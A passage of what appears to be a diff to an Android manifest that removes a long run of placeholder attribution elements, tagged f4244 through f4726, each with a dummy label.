-  <attribution android:tag="f4244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4277" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4278" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4279" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4280" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4281" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4282" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4283" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4284" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4285" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4286" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4287" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4288" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4289" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4290" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4291" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4292" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4293" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4294" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4295" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4296" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4297" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4298" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4299" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4300" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4301" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4302" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4303" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4304" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4305" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4306" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4307" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4308" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4309" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4310" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4311" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4345" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4624" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4625" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4626" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4627" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4628" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4629" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4630" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4631" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4632" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4633" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4634" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4635" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4636" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4637" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4638" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4639" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4640" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4641" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4642" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4643" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4644" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4645" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4646" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4647" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4648" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4649" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4650" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4651" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4652" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4653" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4654" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4655" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4656" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4657" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4658" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4659" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4660" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4661" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4662" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4663" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4664" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4665" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4666" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4667" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4668" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4669" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4670" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4671" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4672" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4673" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4674" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4675" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4676" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4677" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4678" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4679" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4680" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4681" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4682" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4683" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4684" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4685" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4686" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4687" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4688" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4689" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4690" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4691" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4692" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4693" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4694" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4695" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4696" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4697" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4698" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4699" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4700" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4701" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4702" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4703" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4704" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4705" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4706" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4707" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4708" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4709" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4710" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4711" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4712" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4713" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4714" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4715" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4716" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4717" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4718" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4719" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4720" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4721" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4722" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4723" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4724" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4725" android:label="@string/dummyLabel" />
-  <attribution android:tag="f4726" android:label="@string/dummyLabel" />
